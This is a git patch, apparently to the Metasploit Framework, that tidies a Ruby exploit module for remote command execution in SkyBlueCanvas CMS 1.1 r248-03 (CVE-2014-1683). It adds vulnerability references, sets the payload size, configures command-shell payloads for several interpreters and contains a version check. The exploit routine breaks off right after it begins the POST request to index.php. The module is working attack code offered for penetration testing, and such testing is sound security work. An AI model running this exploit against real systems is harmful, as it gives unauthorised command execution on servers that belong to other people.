From 810605f0b7c988a603c5ed8dc4ec1edf075e67ed Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan_vazquez@rapid7.com>
Date: Fri, 31 Jan 2014 09:17:51 -0600
Subject: [PATCH] Do final cleanup for the skybluecanvas exploit

---
 .../exploits/multi/http/skybluecanvas_exec.rb | 37 +++++++++++--------
 1 file changed, 21 insertions(+), 16 deletions(-)

diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/multi/http/skybluecanvas_exec.rb
index 7bc9062962..6a9f3d4db2 100644
--- a/modules/exploits/multi/http/skybluecanvas_exec.rb
+++ b/modules/exploits/multi/http/skybluecanvas_exec.rb
@@ -15,33 +15,40 @@ class Metasploit3 < Msf::Exploit::Remote
       'Name'           => 'SkyBlueCanvas CMS Remote Code Execution',
       'Description'    => %q{
         This module exploits an arbitrary command execution vulnerability
-        in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is
-        inside /index.php?pid=4.
+        in SkyBlueCanvas CMS version 1.1 r248-03 and below.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
-          'Scott Parish',  # Vulnerability discovery and exploit
+          'Scott Parish', # Vulnerability discovery and exploit
           'xistence <xistence[at]0x90.nl>' # Metasploit Module
         ],
       'References'     =>
         [
+          ['CVE', '2014-1683'],
+          ['OSVDB', '102586'],
+          ['BID', '65129'],
+          ['EDB', '31183'],
           ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
         ],
       'Privileged'     => false,
       'Payload'        =>
         {
+          # Arbitrary big number. The payload gets sent as an HTTP
+          # response body, so really it's unlimited
+          'Space'       => 262144, # 256k
+          'DisableNops' => true,
           'Compat' =>
-          {
-            'ConnectionType' => 'find',
-            'PayloadType'    => 'cmd',
-            'RequiredCmd'    => 'generic perl ruby bash telnet python'
-          }
+            {
+              'ConnectionType' => 'find',
+              'PayloadType'    => 'cmd',
+              'RequiredCmd'    => 'generic perl ruby bash telnet python'
+            }
         },
       'Platform'       => %w{ unix },
       'Targets'        =>
         [
-          ['SkyBlueCanvas', {}]
+          ['SkyBlueCanvas 1.1 r248', {}]
         ],
       'Arch'           => ARCH_CMD,
       'DisclosureDate' => 'Jan 28 2014',
@@ -56,22 +63,20 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     uri = normalize_uri(target_uri.path.to_s, "index.php")
 
-    res = send_request_raw(
-      {
-        'uri' => uri
-      })
+    res = send_request_raw('uri' => uri)
 
     if res and res.body =~ /[1.1 r248]/
-      print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
+      vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
       return Exploit::CheckCode::Appears
     end
-    return Exploit::CheckCode::Safe
+
+    Exploit::CheckCode::Safe
   end
 
   def exploit
     uri = normalize_uri(target_uri.path.to_s, "index.php")
 
-    res = send_request_cgi({
+    send_request_cgi({
       'method'  => 'POST',
       'uri'     => uri,
       'vars_get' => { 'pid' => '4' },